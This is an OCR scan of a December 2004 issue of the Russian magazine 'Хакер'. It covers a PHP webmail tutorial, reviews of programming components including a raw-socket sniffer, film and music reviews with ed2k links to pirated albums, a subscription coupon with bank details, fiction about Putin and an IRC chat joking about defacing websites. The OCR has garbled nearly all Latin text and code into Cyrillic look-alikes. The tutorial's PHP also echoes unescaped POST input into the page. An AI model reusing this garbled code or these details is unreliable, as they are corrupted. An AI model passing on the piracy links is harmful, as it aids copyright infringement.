чании цикла - с помощью ітар_ехрипде() из- 
бавим ящик от спама. 

А РЕДПКТИРУЕИ 




компонент я назвал не зря. Он именно наве- 
шивается на <іех1агеа>, расширяя его воз- 
можности. Работает он только в Іпіегпеі 
Ехріогег и Мо2ІІІа. Но что же будет при обра- 
щении к нему браузером, который не под- 
держивается? Не надо нервничать. Что бы 
ни было, по сравнению с апокалипсисом это 
будет ничто. Думай позитивно. 

А если серьезно, то ничего страшного не 
случится. НТМІАгеа просто не загрузится, а 
тэг <1ех1агеа> будет интерпретирован как 
обычный элемент для редактирования мно- 
гострочного текста в НТМІ. 

Прикругка НТМІАгеа к странице очень хо- 
рошо описана в документации, что идет в 
комплекте. Вкратце, делается это так. Для 
начала распакуем архив НТМІАгеа-3.0- 
ГСІ .2Ір (сейчас это последняя версия) в под- 
каталог бітіагеа/ в папку со скриптами 
роотаіі. Затем возьмемся за страницу, в ко- 
торой контрол будет использоваться. Встав- 
кой на ЗаѵаЗсгірі выставим параметры, ис- 
пользуемые при загрузке основного скрипта: 

<$сгір! Іуре="іехі/]аѵа$сгір!"> 

_е(1ііог_игІ = "ііітіагеа/"; 

_есІі1ог_Іапд = "ги"; 

</$сгір1> 

Эти две переменные задают путь к вспо- 
могательным файлам и язык сообщений со- 
ответственно. Благо, добрые люди успели 
перевести сообщения на великий и могучий. 
Основной код подключаем так: 

<$сгір! 1уре="іехі/]аѵа$сгір!" 

$гс="ііітіагеа/іі1тіагеа.]$"></8сгірі> 



А теперь определим функцию, которая бу- 
дет вызываться по окончании загрузки стра- 
ницы. В ней будет создаваться экземпляр 
класса НТМІАгеа, привязанный к определен- 
ному элементу <іех1агеа>. 

<$сгірі Іуре="іех!/]аѵа$сгірі"> 

Еипсііоп тіЫі) { 
е(] = пеѵѵНТМІАгеаПа"): 
есІ.депегаІеО: 

} 

</$сгірі> 

Чтобы по имени \а класс нашел нужный 
элемент, при определении оного нужно за- 
дать атрибут ісі, вот так: 

<1ехіагеа пате-'Іехі" гоѵѵ$="15" соІ$="100" $іуІе="ѵѵісІіІі: 
100%:" ій="іа"> 

Ну и наконец, в <ЬосІу> пропишем 35- 
функцию, которую нужно звать по окончании 
загрузки страницы: 

Фосіу опІоасІ='іпі1ЕсІ()'> 

В нашем случае все это происходит в 
файле зепсі.ріір, который, помимо всего 
прочего, предоставляет еще и возможность 
редактирования сообщения перед отправ- 
кой. Грузится страница с <Магеа>, имею- 
щим нужный ІСІ. В ней же подключается и 
код НТМІАгеа. По окончании загрузки вызы- 
вается функция, которая делает из какашки 
конфетку. Так из простого <іехіагеа> полу- 
чается встроенный в страницу визуальный 
редактор НТМІ. 



Подсластим пилюлю аскетичности нашего 
веб-мейла удобным интерфейсом для редак- 
тирования отсылаемых сообщений. Выбор 
был остановлен на НТМІАгеа - заменителе (а 
скорее, расширителе) стандартного 
<Магеа> с возможностью визуального ре- 
дактирования НТМІ-кода. Выглядит это 
практически как редактор ѴѴогб в веб-стра- 
нице (бйр://сІупагсІі.сот/ргоіесІ5/ІіІтІагеа/). 
Расширителем элемента <іехіагеа> этот 
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А ПОСЫПОЕИ 

Для отсылки сообщения по указанному адресу в арсенале РНР имеет- 
ся функция таіІ(), которой мы и воспользуемся следующим образом: 

таіІ($_Р03Т[1о],$.Р05Т[$иЬ]], $.Р05Т[іехі], .. 

Первые три параметра - значения полей формы в зепсі.ріір, кото- 
рая на этот раз отсылается посредством метода Р05Т. Отсюда и ис- 
пользование массива $_Р05Т. Адрес отправителя мы составляем из 
параметров ящика, которые достаем из текущей сессии. 

В случае неудачи при отправке в переменную $тзд кладем текст 
сообщения об ошибке, который будет показан чуть ниже в странице. 
Если же все прошло гладко, юзеру здесь делать больше нечего - по- 
сылаем его обратно в список: 

ііеа(1ег("Іосаііоп: Іі$і.ріір"); 

Кроме показа формы с параметрами создаваемого сообщения и 
его отсылки, скрипт зепб.рбр умеет инициировать ответ на уже суще- 
ствующее сообщение. Занимается он этим в том случае, если полу- 
чен параметр геріу. Адрес отправителя оригинального сообщения 
подставляется в поле «Кому», а тема копируется с префиксом «Ве:», 
чтобы было ясно, что пишется ответ. С текстом поступаем так. Сна- 
чала разбиваем его на строки: 

$Ііпе$ = ехр1о(1е("\п", ЗЬосІу, 60): 

Максимальная длина строки 60, так что еще имеем и форматирова- 
ние, как в аутлуке :). После чего в начало каждой строки вставляем 
«>»: 



!ог($і = 0; $і < соипКЗІіпез): $і++) 
$Ііпе5[$і] = ">$Ііпе5[$і]<Ьг>": 



Склеиваем массив обратно и кладем результат в поле Іехі формы: 

$.Р0$Т[іехі] = ]оіп("\п",$Ііпе8): 

Все поля из $_Р08Т будут подставлены на свои места в странице 
методом вставки значения переменной прямо в текст страницы: 



.. ѵаІие="<?=$_Р05Шо] 

А ЗРИЕЧРНИЯ 

Как и в любом другом языке программирования, в РНР код, который 
используется в нескольких местах, имеет смысл выгрузить в отдель- 
ный модуль. У нас этот модуль называется тізс.рбр, и содержит он 
функцию тЬохорепО, которая открывает почтовый ящик, руковод- 
ствуясь параметрами из сессии. Результат ложится в глобально опре- 
деленную там же переменную $тЬох. В случае неудачи там же дела- 
ется редирект на страницу логина. Это потребуется нам сразу в нес- 
кольких страницах, так же как и код, который идет сразу за определе- 
нием тЬохореп(). Он будет выполняться в начале каждого скрипта 
вместе с подключением файла при помощи директивы гедиіге. Код 
этот выставляет русскую кодировку коі8-г и стартует сессию. 

Ііеа(]ег("Сопіепі-Туре: іехі/іііші; сІіаг8еі=коі8-г"): 

8е88іоп_8іагі(): 

При всем своем великолепии, имеются у роотаіі и недостатки. 
Например, отсутствие какой-либо поддержки аиачей. При отсылке к 
письму ничего нельзя прикрепить, а входящие сообщения с вложени- 
ями появляются в своем первозданном виде - как кодированные 
МІМЕ. Здесь открываются возможности для бурной деятельности 
настоящего РНР- довел опера, главным другом которого становится 
мануал, где имеется описание без преувеличения всех доступных 
функций. Мануал обычно входит в комплект РНР, также его можно 
найти на 1ііір://.р[ір.пеі. Если почитать главу про ІМАР-функции, то с ат- 
тачами все окажется очень просто - для их вычитывания достаточно 
воспользоваться информацией, возвращаемой ітар_^еісІі8ІгисШге(). 
После чего, анализируя тип частей, вызываем для каждой из них 
ітар_^еісІіЬосІу(). В отличие от голубей с их весьма фиксированными 
характеристиками, такими как размер, вес и размах крыльев, роотаіі 
можно менять и дорабатывать по своему усмотрению. 
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ІБЗОР КОМПОНЕНТОВ 

іііі Ніи іііііі 






шаг впЕРЕО, НИ шагу назад 



А Описание: В большинстве программ так или иначе должна встречаться возможность отмены или повтора послед- 
них действий. Такие редакторы, как текстовый и графический, вообще немыслимы без кнопки ІІпсІо. Я предлагаю 
использовать класс АсІіопНізІогу, который позволяет сохранять историю и легко получать доступ к ней. 



А Особые отличия 

©Удивительно, как просто все реали- 
зовано в одном простейшем классе. 
О Демка позволяет работать только с 
простыми графическими операция- 
ми, но легко модифицируется до 
полноценного приложения. 



О Есть все необходимые методы для 
доступа к выполняемым действиям. 






А Диагноз 

История изменений нужна не только 
в Шгсі и РШозІюр. В базах данных 
это тоже достаточно нужная вещь. 
Добавь эту возможность, и пользова- 
тели оближут тебя от радости. 












А Ссылки 

Забираем файл здесь: ѵѵш.со(]едиги.сот/со(]е/Іедасу/срр_[ті!с/Уп(]оКе(]о5гс.2Ір 
Пример использования: ѵѵш.сосІедиги.сот/со{]е/Іедасу/срр_т[с/УпсІоКесІоВето. 2 Ір 




А Описание: Как получить информацию о домене? Для этого многие пользуются старыми добрыми опііпе-сервисами. 
Но намного удобнее, а главное, приятнее использовать утилиту, созданную своими руками. 



А Особые отличия 

О Пример ѴѴІЮІ5, который я предлагаю, 
позволяет получать информацию 
о домене. 

О По умолчанию вся информация 
запрашивается у сервиса іпіегпіс.пеі, 
но это можно изменить, даже не 
ныряя в исходный код. 



О Есть возможность скопировать 
результат в буфер обмена, чтобы 
вставить в другой файл или 
документ. 



А Диагноз 

В принципе, программирование 
таких утилит, какШоІз, - достаточно 
простое занятие, но если не знаешь, 
как это делается, то посмотри и 
убедись в этом. 

А Ссылки 





Класс в исходниках забираем здесь: 
шѵѵ.ргодгаттег$[іеаѵеп.сот/(]/сІіск.а$рх?Ш=Р2421 



^ аРОСТЕЙШИЙ СНИФЕР 







А Описание: Почему все начинающие хакеры стремятся написать свой собственный снифер? Лично я этого не пони- 
маю, ведь полно уже готовых программ! А самое главное - польза от подобных программ минимальна, ведь разбирать- 
ся с лавиной пакетов, проходящих по сети, сложно и очень часто бесполезно. 



А Особые отличия 

О Этот пример создает РАѴѴ-сокет и 
в бесконечном цикле вылавливает 
все данные, проходящие через сете- 
вую карту. 

О Существует вариант данного при- 
мера для ѴѴіпсІоѵѵз и Шпих. 



О Прога не визуальна, и вывод про- 
исходит в окно терминала. В терми- 
нале разбираться с информацией со- 
вершенно неудобно, поэтому первым 
делом прикрути удобный интерфейс, 
иначе ночи будут длинными. 



А Диагноз 

Если нечем заняться темными ночами и 
хочется разбирать мегабайты сырых 
пакетов, то можешь написать свой 
собственный снифер. А я лучше потра- 
чу ночь на более полезные дела, напри- 
мер, на бары, рестораны и девочек :). 




А Ссылки 

Класс в исходниках забираем здесь: ѵѵѵѵѵѵ.(]еІікоп.(]е/со(]е$/гесѵ.с для Ііплх 

шѵѵ.{]еІікоп.{]е/ 2 Ір$/гаѵѵ. 2 Ір - для Ѵ/іп(]оѵѵ$ 
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ОБЗОР КОМПОНЕНТОВ 



У ВСЕМОГаЩМЙ ИПВЕІ 




А Описание: Что делать, если нужно в одном заголовке по-разному отформатировать текст? Приходится ставить несколько компонентов ТІаЬеІ и для каждого из них задавать свой 



формат, слепляя их при этом в одну кучу. Напряжно? Если да, то твой спаситель - РогтаІІаЬеІ. 



А Особые отличия 

О По внешнему виду простая над- 
пись, но поддерживает НТМІ-тэги. В 
свойстве Сарііоп можно как угодно 
форматировать текст, указывая ос- 
новные тэги <В>, <1>, <11>, <ВЮ> 
ит.д. 

О Поддержка ссылок и тэга <А 
НВЕР=...>. Для обработки этого тэга 
у компонента есть соответствующее 
событие. 



О Есть поддержка 30-текста, но со 
слабыми возможностями настройки 
тени. Если нужно что-то серьезное, 
приходится лезть в исходник. 

О Если нужен многострочный текст, 
то юзаем свойство СарІіопЗІгіпдз 
и компонент превращается в много- 
строчный. 



А Диагноз 

По своей практике знаю, что эта 
вещь иногда просто незаменима. 
Например, нужен заголовок «Исполь- 
зуйте % для ...». С помощью тэгов 
символ «%» можно как угодно наг- 
лядно выделить. 




А Ссылки 

Исходник и демку забираем здесь: 
шѵѵ.Іоггу.пеІ/ѵсІ/ІаІ)еІ$/!огтаІІе(]ІаІ)еІ$/!огта1ІаІ)еІ.7ір 



ВВОД ЧИСЕЛ 



А Описание: Когда пишешь программы для какой-нибудь фирмы, нужно учитывать, что среди пользователей обяза- 
тельно будут дамочки, которые вместо чисел попытаются ввести буквы. Наибольшую проблему вызывают дробные чис- 
ла, когда вместо запятой ставят число и при преобразовании вылетает ошибка. Лично я уже устал проверять такие ве- 
щи на ошибки и нашел для себя выход в компоненте ТРІоаІЕсІіІ. 



А Особые отличия 

О Я перепробовал много вариантов 
и нашел этот компонент наиболее 
простым и удобным. 

О Пакет состоит из трех компонен- 
тов: ТРІоаІЕсІіІ, ТОВРІоаІЕсІіІ (для ра- 
боты с полями базы данных) 
и ТЗріпРІоаІЕсІіІ. 



О Можно указывать максимальное и 
минимальное значение, чтобы огра- 
ничивать полет мысли пользователей. 



А Диагноз 

Для любой финансовой программы 
этот компонент жизненно необхо- 
дим. Это не просто слова, а вывод 
из печального жизненного опыта. 

А Ссылки 

Забираем файл здесь: 
шуѵ.1оггу.пеІ/ѵсІ/е(]іЫ{]і!(е{]і1$/34.(ІесІіІ2Ір 









«та 
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РП8ШВ 



А Описание: Однажды я искал компонент, который умеет вращать изображения, и во время поиска нарвался на биб- 
лиотеку РазШЬ. Эта библиотека собрала в себе множество различных графических прибамбасов, и при этом все реали- 
зовано на сумасшедшей скорости. Я долго не верил в то, что видел собственными глазами на старом пне в 100 Мгц. 



А Особые отличия 

О В библиотеке реализовано нес- 
колько полезных фильтров - инверти- 
рование, разворот на любой угол, 
альфа-смешение, волновой эффект, 
шумы, мозаика, изменение атрибутов 
цвета и каждой его составляющей. 

О Обработка ведется на сумасшед- 
шей скорости в реальном времени. 



О При растягивании и сжатии проис- 
ходит сглаживание изображения, что 
абсолютно не портит общей картины. 
О Поддержка изображений только из 
256 цветов - главный минус во времена 
властвования Тгие Соіог, причем боль- 
шой и жирный. 



А Диагноз 

Несмотря на то что встроена подде- 
ржка малого количества цветов, 
ты обязан скачать этот компонент. 
Это нужно как минимум для того, что- 
бы увщеть, как кодят настоящие ше- 
ры. А может, и переделать компонент 
для поддержки 24-битного цвета. 




А Ссылки 

Забираем файл здесь: ѵѵѵѵѵѵ.1оггу.пеІ/ѵсІ/дгар[ііс8/раск8/[а$ШІ).2Ір 
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ІЕЕСН 






■ Иван Ко, профессор вареза (зі(ІехігеаІ.хакер.ги] 



СВЕЖПЯ 

ѴПВЕ2-КП 



✓ ХРКЕР/№1 2(721/2004 




А ВИДЕОВРРЕЗ 



«РОЖДЕСТВО С НЕУДОЧНИКаИИ» 
(СНВіетИООШІТНТНЕКВОИКО)/ 
КОИЕДИЯ 

Премьера в НУ: 30.12.04 




Шизанутая семейка решает забить на НГ, 
хотя прежде они были большими любителя- 
ми приложить за воротник по этой теме. 
Сейчас же они слили дочку на каникулы в 
тропики. Дочке не удастся качественно от- 
дохнуть от перегретых родичей, ибо они со- 
бираются нанести внезапный визит-сюрприз 
к ней на Чунга-Чангу! Доча их опережает и 
сама выдвигается домой раньше времени, 
чтобы огорошить родню. Родики же быстро 
пытаются обустроить НГ за оставшиеся 
полдня. «Ирония судьбы» по-американски. 



«ПЮБИИЧИК»(ВЕ-ІСІІЕт/ 
ИЕПОДРПИЯТИЧЕСКПЯ КОИЕДИЯ 

Премьера в НУ: 16.12.04 



Заморский композитор из числа передовых 
тележит о своей жизни на протяжении цело- 
го фильма - довольно симпатичного мюзик- 
ла. Что главное в жизни нотного творца? Ко- 
нечно, любовь и музыка. Об этом нам и 
рассказывает во всех красках Эшли Джадд, 
главная из возлюбленных героя. Детали 
фильма выписаны красиво, идея истории о 
бытие звезды заслуживает уважения, факти- 
ческая точность, со слов профессионалов, 
была также соблюдена. Фильм идеален для 




американского проката, но может быть не 
понят у нас: а) сего творца у нас никто не 
знает, б) сам творец любит мужчин, а это 
все еще не очень принимается отечествен- 
ной публикой. 



«ПЮБОВНПЯПИХОРПДКП» 

(ПЮЯЕУОКбЕОВВОШЮКб) 



Премьера в НУ: 23.12.04 




Блудная дочь возвращается в родной Урю- 
пинск в Америке, чтобы обнаружить родной 
дом заброшенным. Если бы оттуда просто 
все вынесли - это еще полбеды, но там все 
еще живут два калдыря, бывшие кореша-по- 
дельники почившей мамаши. Один - бывший 
учитель музыки, второй - пропитой до кон- 
чика острого пера писатель/учитель литера- 
туры, который уже долгое время собирается 
написать бестселлер о жизни музыканта. 
Роль последнего исполняет небезызвестный 
Джон Траволта, которого мы совсем недавно 
видели в «Команде 49». Деваха вписывается 
в новую компанию, они живут уже на троих и 
постепенно понимают, насколько взаимосвя- 
заны их путанные жизненные пути. 



«СУПЕРСЕИЕЙКП» 

(ТНЕІИСВЕ0ІВІЕ8) 

Премьера в НУ: 30.12.04 







% 



Ше інсешіШ 



Забавный и качественно прорисованный 
мультик о супергероях - бывшем супермене 
и супертете, которые вступили ныне в супру- 
жескую связь и проживают за городом со 
всем семейством. У отца ныне лишь две 
проблемы - скука и ожирение. Борьба с обо- 
ими явлениями начинается автоматически, 
когда приходит внезапное сообщение о 
проблемах на удаленном острове. Сейчас, 
впрочем, как и много раз прежде, судьба че- 
ловечества полностью зависит от действий 
суперсемейки. Они бьются со злом в полном 
составе, подключают к этому и детей, 
эксплуатируют труд несовершеннолетних. 
Теперь они понимают: источник их бесконеч- 
ной энергии находится в них самих, им не- 
обходимо совершать совместные подвиги. 
«Пока мы едины, мы непобедимы». 

«ТПКСИ»(ТПХП/ КОМЕДИЯ 

Премьера в НУ: 30.12.04 



Столько уже было фильмов одноименного 
названия, что брать сей релиз на пиратском 
лотке решительно не хотелось. Пересилил 
себя и все же разочаровался: фильм снят по 
очень схожему сюжету с французским «Так- 
си» (то есть является официальным ремей- 
ком оного), причем тем же режиссером - 
Люком Бессоном. Здесь мы имеем мамашу- 
одиночку, которая бомбит таксисткой. 
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Ты верил в деда Мороза? Я всегда скепти- 
чески относился к факту его существования, 
наблюдая отца, прикручивающего вату к 
подбородку и вписывающегося в мамин 
красный домашний халат. В новом ССІІ- 
мульте мы имеем юного перца, который по- 
настоящему верит в тему, несмотря на под- 
колки семьи. В один из праздников за пер- 
цем приходит скоростной поезд и увозит 
его на Северный Полюс. Работа мультипли- 
каторов - достойная экранизация сказки по 
известной амерам книге. Если выбирать изо 
всех новогодних фильмов текущего сезона, 
я бы назвал «Полярный экспресс» наиболее 
удачным. 

А РУДИОВПРЕЗ 

и2«Н0ШТ0В18ИПМПЕ 

ПДПТОИІСВОИВ» 



Ее уламывает на сотрудничество развозчик 
пиццы, и они открывают синдикат «Пиццы на 
скоростях». Узнав о подвигах ультразвуковой 
мамаши, юный чекист решает обратиться к 
ней за помощью. С новым напарником тетя 
преследует прекрасных барышень-граби- 
тельниц банка. Приятно, что одну из гоп- 
стопниц играет роскошная супермодель из 
Бразилии Жизель Бундхен. 



«ПОПЯРНЫИ ЭКСПРЕСС» 
(ТНЕР01ПВЕХРВЕ88)/ сказка 

Премьера в НУ: 23.12.2004 





Откуда качать: ес12к://|(іІе|У2%20(2004)%20Ноѵѵ% 
20То%20Ві$тапІІе%20Ап%20Мо[Тііс%20Во[ііЬ%20320%2 
0КЬр5%202%20МіпиіО5.гаг|98722063|В8ВЕ68АЕ4В8С69ЕСА 
В00ЕЕЕ942А73В66І/ 

На радость всем варезникам планеты альбом 
был украден 10 днями раньше официального 
релиза. Продюсерам пришлось срочно пере- 
носить дату попадания СО на торговые лотки. 
Сие получилось 1 1 альбомом группы, кото- 
рая уже продала более 1 20 миллионов копий 
своих предыдущих творений. Здесь мы име- 
ем очередную политическую агитку против 
войны. Стилистика уводит к более ранним 
творениям; скорости и напора «АН Тбе Тбіпдз 
Уои СапЧ Іеаѵе ВебіпсІ» нет вовсе. 



/ ОБМЕН ИРЗ-ДИСКаИИП8.ИНЕТ-СКПЧКП 
ВОПРОСЫ дп111Р38Еансн.во: 

О: Есть ли будущее у обмена МРЗ-дисками? 

Л; Считаю, что у почтовой темы, как, впрочем, и у любых дру- 
гих обменников музыкой «пользователь <-> пользователь», 
перспектив нет. На этот рынок каждый день выходит нес- 
колько профессиональных контент-провайдеров. 

О: Какой же коллекцией располагает іпрЗзеагсІі? 

А: Наша коллекция музыки - это порядка 2000 гигабайт (2 те- 
рабайта). 

О: Как же удалось поднять столько добра? 

А: Коллекция собрана из совершенно разных источников. 
Цифровали, обменивались, покупали, скачивали, присылали 
авторы. 

I / 



ЕИІКЕИ«ЕКСОВЕ» 




Откуда скачать: есІ2к://|[іІе|Е[тііпеп_- 

^псоге_ІпкІ_Вопи$_СВ_Еог_ѵѵш.доІсІе$еІ.Ео.гаг|119454073|9С 

57В530В21А7'СЕ6648'іСВ590ЕВЕ706Е|/ 

Новый долгожданный компакт от Эминема. 
Первая реакция слушателя: блин, да туг ни- 
чего нового! Хулители продвигают идею: 
творец исписался, удивлять публику совсем 
разучился. Финальный вердикт я оставлю 
тебе, сам же приятно удивлюсь работе героя 
в дуэтах - получаются очень качественные 
вещи. Как и в случае с 112, диск был расти- 
ражирован по инету уже за две недели до 
даты официального выхода. 

кіннака«шітншиснт8оит» 




Откуда скачать: есI2к://|[іIе|Nігѵапа%20- 
%201ЛІіі1і%20ТІіе%20Еід1іІ5%200иЕ%203СВ%20(2004)%20 
Ву%205теІІу%20@%20еМиІепІ.со[іі.гаг|320697094|ЗЕ6Е62 
88ЕВ7А7317СЕЕВВЕ092В68871СІ/ 

Когда музыканты и продюсеры замечают, что 
их дензнаки подходят к концу, они приступа- 
ют к выпуску антологий. Обладатели прав на 
творения группы Мігѵапа пошли именно по 
этому пути. Альбом слегка припоздал, чтобы 
стать отмечающим десятилетие со дня смер- 
ти Курта Кобейна. На диске ты найдешь за- 
писи самых ранних сейшенов группы (1987 
года), а также самые последние сольные 
работы с акустикой от Курта. Забавна запись 
легендарной «ЗтеІІз Ііке Тееп Зрігіі», текст 
которой был вынесен в заглавие альбома. 
Неплохой релиз для настоящих поклонников 
группы, которые глубоко прочувствуют до- 
машние записи автора. Остальные же могут 
не понять предложенного диска. ЗС 








Цена подписки на 20% ниже, чем в розничной продаже! 
Разыгрываются призы и подарки для подписчиков 
Доставка за счет издателя 
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ГАРАНТИЯ 



Вы гарантированно получите все номера журнала 

Единая цена по всей России 



СЕРВИС 



Заказ удобно оплатить через любое отделение банка. 
Заказ осуществляется заказной бандеролью 
или с курьером 



Стоимость заказа на «Хакер» + 2 СО или «Хакер» + ОѴО 




«Хакер» + 2 СО 



115р 



690р 



1242р 



за номер 

(экономия 30 руб.* *) 

за 6 месяцев 

(экономия 180 руб.*) 

за 12 месяцев 

(экономия руб.*) 



«Хакер» + ОѴО 



ІЗОр 



780р 



1404р 



за номер 

(экономия 30 руб.*) 

за 6 месяцев 

(экономия 180 руб.*) 

за 12 месяцев 

(экономия руб.*) 



Стоимость заказа на комплект «Хакер» + «Железо» 



189р 

107ІР 

201бр 



комплект на 1 месяц 

(экономия 80 рублей*) 

комплект на 6 месяцев 

(экономия 480 рублей*) 

комплект на 12 месяцев 

(экономия рублей*) 



* экономия от средней розничной цены по Москве 
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подписной КУПОН 

Прошу Оформить подписку: 



I I на журнал Хакер + 2 СО 
I I на журнал Хакер + ОѴО 
I I на комплект Хакер +2С0 и Железо + СО 

на □ месяцев 

начиная с 200_г. 

I— I Доставлять журнал по почте 

* на домашний адрес 

I— I Доставлять журнал курьером на 

* адрес офиса (по г. Москве) 

Подробнее о курьерской доставке читайте ниже 
(отметьте квадрат выбранного варианта подписки) 
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ИНН 7729410015 ООО «Гейм Лэнд» 

ЗАО Международный Московский Банк, г. Москва 
р/с № 40702810700010298407 

к/с № 30101810300000000545 

БИК 044525545 КПП - 772901 001 

Плательщик 

Адрес (с индексом) 



Назначение платежа 




Сумма 


Оплата за « 


» 




с 


200_г. 





месяц 



Кассир 



Ф.И.О. 

Подпись плательщика 



датарожд- II I. I II I. I II I г. 

день месяц год 

АДРЕС ДОСТАВКИ; 

индекс 

область/край 

город 

улица 

дом корпус 

квартира/офис 

телефон ( ) 

код 

е-таіі 



сумма оплаты 



Квитанция 



' Кассир 

I 

I 



ИНН 7729410015 ООО «Гейм Лэнд» 

ЗАО Международный Московский Банк, г. Москва 
р/с № 40702810700010298407 

к/с № 30101810300000000545 

БИК 044525545 КПП - 772901 001 

Плательщик 

Адрес (с индексом) 



Назначение платежа 




Сумма 


Оплата за « 


» 




с 


200_г. 





Ф.И.О. 



Подпись плательщика 



КАК ОФОРМИТЬ ЗАКАЗ? 



1. Заполнить купон и квитанцию 

2. Перечислить стоимость подписки через Сбербанк 

3. Обязательно прислать в редакцию копию оплаченной квитанции с четко заполненным купоном любым из 
перечисленных способов: 

• по электронной почте: зиЬ$сгіЬе_ха@датеІапб.ги; 

• по сраксу: 924-9694; 

• по адресу: 107031, Москва, Дмитровский переулок, д. 4, строение 2, ООО «Гейм Лэнд», Отдел подписки. 
По всем вопросам по подписке можно звонить по бесплатному телефону 8-800-200-3-999. 



* Курьерская доставка осуществляется в течении Зх дней после выхода журнала в продажу только по Москве на 
адрес офиса, для оформления доставки курьером укажите адрес и название фирмы в подписном купоне. 



Почтовая подписка 



Подписка для юридических лиц 



45722 Хакер + 2С0 
29919 Хакер + ОѴО 




Тел.: (095) 974-11-11 



16768 Хакер + 2С0 
16766 Хакер + ОѴО 




Тел.: (095) 974-21-31 



45722 Хакер + 2С0 
29919 Хакер + ОѴО 




Тел.: (095) 974-11-11 



Вы также можете оформить почтовую подписку по каталогам подписных 
агентств во всех отделениях связи России. Для оформления подписки необ- 
ходимо знать подписной индекс журнала или найти его в каталоге по названию. 



ѵѵѵѵѵѵ.іпІегросІіШ.ги 

Москва: ООО "Интер-Почта”, 
тел.: 500-00-60, 
е-таіІ: іпТег-ро5І@50ѵіпТеІ.ги 

Регионы: ООО "Корпоративная почта", 
тел.: 953-92-02, 
е-таіІ: крр@$оѵіпТеІ.ги 

Для получения счета на оплату подписки 
нужно прислать заявку с названием жур- 
нала, периодом подписки, банковскими 
реквизитами, юридическим и почтовым 
адресом, телефоном и фамилией ответ- 
ственного лица за подписку. 









- Хорошо бы. Честное слово, нужно обязательно решить это до 
Нового года. Обязательно! 

- Да ты не беспокойся, решим мы твой вопрос. Куда он денет- 
ся? 

- Вот и замечательно. 

После разговора с министром Путин нажал на кнопку телефона 
и бросил в динамик: 

- Людочка, Алехина ко мне пригласи. 

Встав из кресла, президент подошел к окну. За стеклом шел 
снег. Снежинки, подсвечиваемые огнями Кремля, кружились в воз- 
духе и исчезали где-то внизу. Путин посмотрел на елку, которую он 
лично отобрал для установки на Красной площади, и с удовлетво- 
рением отметил, что выглядит она замечательно. Надо будет рас- 
порядиться поставить рядом деда Мороза с мешком подарков, 
пусть детишки порадуются. 

Тяжелая, обитая кожей дверь открылась, и в кабинет вошел Анд- 
рей Алехин. Он был одним из самых молодых работников в прези- 
дентском корпусе, но Пугин считал его полезнее многих кремлевс- 
ких старперов, в которых больше важности и самовлюбленности, 
чем способностей. Алехин седьмой месяц числился помощником 
пресс-секретаря, но выполнял и кучу других поручений, лично от 
президента. По сути, он был правой рукой Пугина в тех делах, ког- 
да нужно было креативно поразмыслить, подать свежую идею. 

- Вызывали, Владимир Владимирович? 

- Да, присаживайся. 

Путин открыл ящик в столе и достал оттуда какую-то бумагу. 

- Держи! Это прошлое новогоднее обращение, которое писал 
Громов. К завтрашнему дню составь мне новое. Справишься? 

Алехин пробежался глазами по тексту и уверенно кивнул. 

- Сделаем. 

- Зайди к Иванову, он тебе выдаст список основных достижений 
за этот год. Включи их в текст и не забудь с горечью упомянуть о 
трагических происшествиях. Понимаешь, о чем я? 

Алехин с готовностью кивнул. 

- В остальном - сам. Чтобы по-простому, но красиво и о глав- 
ном. 

- Сделаем, Владимир Владимирович. 

- Готовый текст принесешь мне завтра к четырем вечера. 

- Понял. 

- Ну все тогда. Свободен. 









^ 27.12 



ли последние предновогодние дни, поэтому ми- 
нуты затишья в этом просторном, роскошном ка- 
бинете случались крайне редко. Посетители сме- 
нялись бесконечной чередой, всех нужно было 
принять, на все телефонные звонки ответить. Че- 
ловек, который сидел за столом в кожаном крес- 
ле, устало массировал виски. Ему чертовски хоте- 
лось оказаться где-нибудь в тихом, спокойном 
местечке, подальше от всей этой чехарды. Но сбежать он не мог. 
Тем более сейчас. 

Телефон пискнул, замигав красной лампочкой. Мужчина вздох- 
нул и нажал на кнопку. 

- Владимир Владимирович, министр образования на проводе, - 
послышался приятный голос секретарши. - Говорит, срочно. 

- Соедините. 

Президент молча слушал жалобы министра и по привычке тере- 
бил в руках карандаш. 

- Володя, так что мне делать? - закончил свою речь собеседник. 

- Я переговорю с Микитюком. Думаю, твой вопрос мы уладим. 
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5е88іоп ЗІаП: Моп Оес 27 1 1 :49:01 

* Моѵѵ Іаікіпд іп #ІссІ 

* Торіс І8 ’МооІеІ, верни плеер, сволочь!' 

* 5еІ Ьу Огідіп оп ТІіи Оес 25 04:07:50 

СгіЬЫе: Иі ррі 

МооІеІ: ге тап 

Хопіх: І 1 І 

СгіЬЫе: Ну че, кто где отмечать будет? 

МісІеІ: Хз. Как всегда, в последний момент решится. Но вообще 
есть несколько вариантов. 

Хопіх: Я с родаками. Типа Н Г - домашний семейный праздник 
:))■ 

МісІеІ: У нас в семейке вообще все разбегаются. Маманя с сот- 
рудниками, папик - с какими-то левыми чуваками. И так каждый 
раз. 

Хопіх: Мда, тяжелый случай. 

АІі: Я с девушкой и друзьями. У нас стабильное движение, напь- 
емся как всегда. 

Хопіх: Классно вам. 

Огідіп: А я вот думаю дернуть в Швейцарию. Там на НГ вообще те- 
ма. 

Хопіх: Ну, ты у нас богатенький буратина :). 

Огідіп: Да там особо много не надо. Баксов 300 на все про все. 
От Питера добираться понты. 

Огідіп: Крип, сам-то как? 

СгіЬЫе: Да хз. Думаю вот. Предложили в клубе, но я в том году 
отмечал, мне не понравилось. Чего-то экстремального хочется. То- 
же дернуть куда-нибудь. Москва задолбала. 

МооІеІ: Я недавно читал интервью с кряк-группой, они Новый 
год в сетке встречали. Дружно что-то ломали. Вот так надо, паца- 
ны! 

Хопіх: Тоже вариант :)). 

МісІеІ: Ацтой. Мне компа по жизни хватает, чтобы еще под НГ за 
ним торчать. 

МооІеІ: Мид, ты не шаришь. Романтика! 

МісІеІ: Ага, офигенная романтика, когда все нормальные люди 
бухают, ковырять никсовый шелл. 

Огідіп: Просто так ломать - фигня. Если уж хакать под Новый 



год, так что-то серьезное. 

МооІеІ: Во-во, правильно мыслишь. 

Хопіх: Ага, похакайте страницу деда Мороза :)). 

АІІ: Огідіп, а что ты подразумеваешь под серьезным? 

МооІеІ: Да хз. Ну Майкрософт. ком, например. Поздравить их так 
с Новым годом :). Или официальную страничку Путина. 

СгіЬЫе: Да фигня это все. На маздае дефейс уберут через пару 
минут, с Пугиным, подозреваю, та же фигня. Да и связываться с 
правительством как-то не хочется. 

МісІеІ: У меня знакомый один решил ломануть сервак срСБ. Так 
его уже через два дня повязали. Несмотря на все эти анонимные 
прокси. Лучше в это не лезть. 

* АІкаеб Ьаз іоіпесі #1сс1 

Хопіх: АІкаеб, прив 

МооІеІ: ге 

